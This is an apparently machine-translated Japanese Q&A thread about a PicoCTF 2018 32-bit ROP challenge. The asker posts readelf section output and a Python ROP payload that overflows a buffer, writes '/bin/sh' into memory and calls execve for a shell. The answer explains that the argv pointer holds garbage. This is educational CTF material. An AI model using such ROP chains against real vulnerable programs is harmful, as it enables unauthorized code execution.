非常に奇妙に思われるCTFチャレンジでいくつかの動作に遭遇し、誰かがそれを理解してくれるかどうか疑問に思っていました。
CTFチャレンジは PicoCTF2018でのcan-you-gets-meチャレンジ でした。
これはROPチャレンジ(32ビット)であり、最初の試みで、「/ bin/sh\x00」を.data
セクション(0x080ea6a0
)の中央に書き込みましたが、私がエクスプロイトを実行したとき、私は得ました:
/bin/sh: 1: /bin/sh: Syntax error: Word unexpected (expecting ")")
いくつかの解決策をオンラインで調べた後、私は彼らが私に対して異なるアドレスを使用していたことに気付きました。私はそれらの1つを試してみましたが、このエクスプロイトはどのセクションにもないように見えるアドレス(0x80e9d60
)で機能することがわかりました。
セクションのreadelf
出力は次のとおりです。
$ readelf gets -S
There are 31 section headers, starting at offset 0xb0cc8:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .note.ABI-tag NOTE 080480f4 0000f4 000020 00 A 0 0 4
[ 2] .note.gnu.build-i NOTE 08048114 000114 000024 00 A 0 0 4
readelf: Warning: [ 3]: Link field (0) should index a symtab section.
[ 3] .rel.plt REL 08048138 000138 000070 08 AI 0 23 4
[ 4] .init PROGBITS 080481a8 0001a8 000023 00 AX 0 0 4
[ 5] .plt PROGBITS 080481d0 0001d0 0000e0 00 AX 0 0 16
[ 6] .text PROGBITS 080482b0 0002b0 07253c 00 AX 0 0 16
[ 7] __libc_freeres_fn PROGBITS 080ba7f0 0727f0 000a6d 00 AX 0 0 16
[ 8] __libc_thread_fre PROGBITS 080bb260 073260 00009e 00 AX 0 0 16
[ 9] .fini PROGBITS 080bb300 073300 000014 00 AX 0 0 4
[10] .rodata PROGBITS 080bb320 073320 01a8ac 00 A 0 0 32
[11] __libc_subfreeres PROGBITS 080d5bcc 08dbcc 000028 00 A 0 0 4
[12] __libc_atexit PROGBITS 080d5bf4 08dbf4 000004 00 A 0 0 4
[13] __libc_thread_sub PROGBITS 080d5bf8 08dbf8 000004 00 A 0 0 4
[14] .eh_frame PROGBITS 080d5bfc 08dbfc 012b10 00 A 0 0 4
[15] .gcc_except_table PROGBITS 080e870c 0a070c 0000d0 00 A 0 0 1
[16] .tdata PROGBITS 080e9f5c 0a0f5c 000010 00 WAT 0 0 4
[17] .tbss NOBITS 080e9f6c 0a0f6c 000018 00 WAT 0 0 4
[18] .init_array INIT_ARRAY 080e9f6c 0a0f6c 000008 00 WA 0 0 4
[19] .fini_array FINI_ARRAY 080e9f74 0a0f74 000008 00 WA 0 0 4
[20] .jcr PROGBITS 080e9f7c 0a0f7c 000004 00 WA 0 0 4
[21] .data.rel.ro PROGBITS 080e9f80 0a0f80 000070 00 WA 0 0 32
[22] .got PROGBITS 080e9ff0 0a0ff0 000008 04 WA 0 0 4
[23] .got.plt PROGBITS 080ea000 0a1000 000044 04 WA 0 0 4
[24] .data PROGBITS 080ea060 0a1060 000f20 00 WA 0 0 32
[25] .bss NOBITS 080eaf80 0a1f80 000e0c 00 WA 0 0 32
[26] __libc_freeres_pt NOBITS 080ebd8c 0a1f80 000018 00 WA 0 0 4
[27] .comment PROGBITS 00000000 0a1f80 000035 01 MS 0 0 1
[28] .shstrtab STRTAB 00000000 0b0b7c 00014c 00 0 0 1
[29] .symtab SYMTAB 00000000 0a1fb8 007ec0 10 30 847 4
[30] .strtab STRTAB 00000000 0a9e78 006d04 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)
そして、これがうまくいったアドレスのいくつかの例です:
0x080e9d60
(上記)0x080e9ff0
(.got
)0x080ebd8c
(libc_freeres_ptrs
)0x080e9f3c
0x080e9f4c
0x080e9f4c
0x080ea040
0x080eaf60
0x080ebd6c
私の質問は次のとおりです:これらのアドレスの上でエクスプロイトが機能するのに特別なものはありますが、他の人は機能しませんか?エクスプロイトでデータを書き込みますか?
ROPスタック参照のために、ペイロードの生成に使用しているpythonスクリプトの一部を以下に示します。
# Changing this variable is what makes the chain work or fail.
data = 0x80e9d60
# Useful addresses
pop_eax = 0x080b81c6 # pop eax; ret;
pop_ebx = 0x080481c9 # pop ebx; ret;
pop_ecx = 0x080de955 # pop ecx; ret;
pop_edx = 0x0806f02a # pop edx; ret;
swap_eax_edx = 0x0809cff5 # xchg eax, edx; ret;
zero_eax = 0x08049303 # xor eax, eax; ret;
syscall = 0x0806f630 # int 0x80; ret;
write = 0x080999ad # mov dword [edx], eax; ret
# /bin/sh string
str1 = '/bin'
str2 = '/sh\x00'
# The buffer to overwrite with junk
payload = 'A'*28
# Write 1 (/bin)
payload += p32(pop_eax)
payload += str1
payload += p32(pop_edx)
payload += p32(data)
payload += p32(write)
# Write 2 (/sh)
payload += p32(pop_eax)
payload += str2
payload += p32(pop_edx)
payload += p32(data + 4)
payload += p32(write)
# Write pointer to /bin/sh
payload += p32(pop_eax)
payload += p32(data)
payload += p32(pop_edx)
payload += p32(data + 8)
payload += p32(write)
# Set edx to 0
payload += p32(zero_eax)
payload += p32(swap_eax_edx)
# Make the syscall with the correct values in registers
payload += p32(pop_ebx)
payload += p32(data)
payload += p32(pop_ecx)
payload += p32(data + 8)
payload += p32(pop_eax)
payload += p32(0xb)
payload += p32(syscall)
編集:もう少し調査した後、私が思いついた考えられる1つの説明は、新しい/bin/sh
プロセスがメモリの一部を上書きすることです。 https://stackoverflow.com/a/5429592/6567876 を参照してください。それが理由ですか?
書き込み可能な任意のページに書き込むことができるはずです(アドレスに、入力ベクトルが区切り文字またはフィルターアウトとして使用する不良バイトが含まれている場合を除く)。 _0x80e9d60
_は、そのような書き込み可能な領域の1つです。使用しているアドレス_0x080ea6a0
_(main_arenaにある)には、本質的に問題はありません。
_int 0x80
_を実行している場合、関連するレジスタは次のとおりです。
eax:0xb(syscall:sys_execve)
ebx:0x80ea6a0(ファイル名: "/ bin/sh")
ecx:0x80ea6a8(argv:[0x080ea6a0、0x080ea6a0、...])
edx:0x0000000(envp:null)
argv
に問題がありますか?記事の元のropスタックでは、ecx
がゼロになっています。ただし、ecx
は_address+8
_のみであり、address
に応じてnullバイトが含まれる場合と含まれない場合があります。つまり、本質的に_/bin/sh *garbage* *garbage* ..
_を呼び出す必要がありますが、_/bin/sh
_である必要があります。したがって、コードは実際に実行されていますが、_/bin/sh
_は、渡されるガベージ引数と混同されます。
argv
をnullまたは他の適切な値にする必要があります(実際に引数を渡す場合)。そのため、ROPスタックを変更してecx (argv)
をnullにするか、_address + 8
_にnullがあるアドレスを選択します。
デバッガーでエクスプロイトを実行して、実際に何が起こっているかを確認することを習慣にしてください。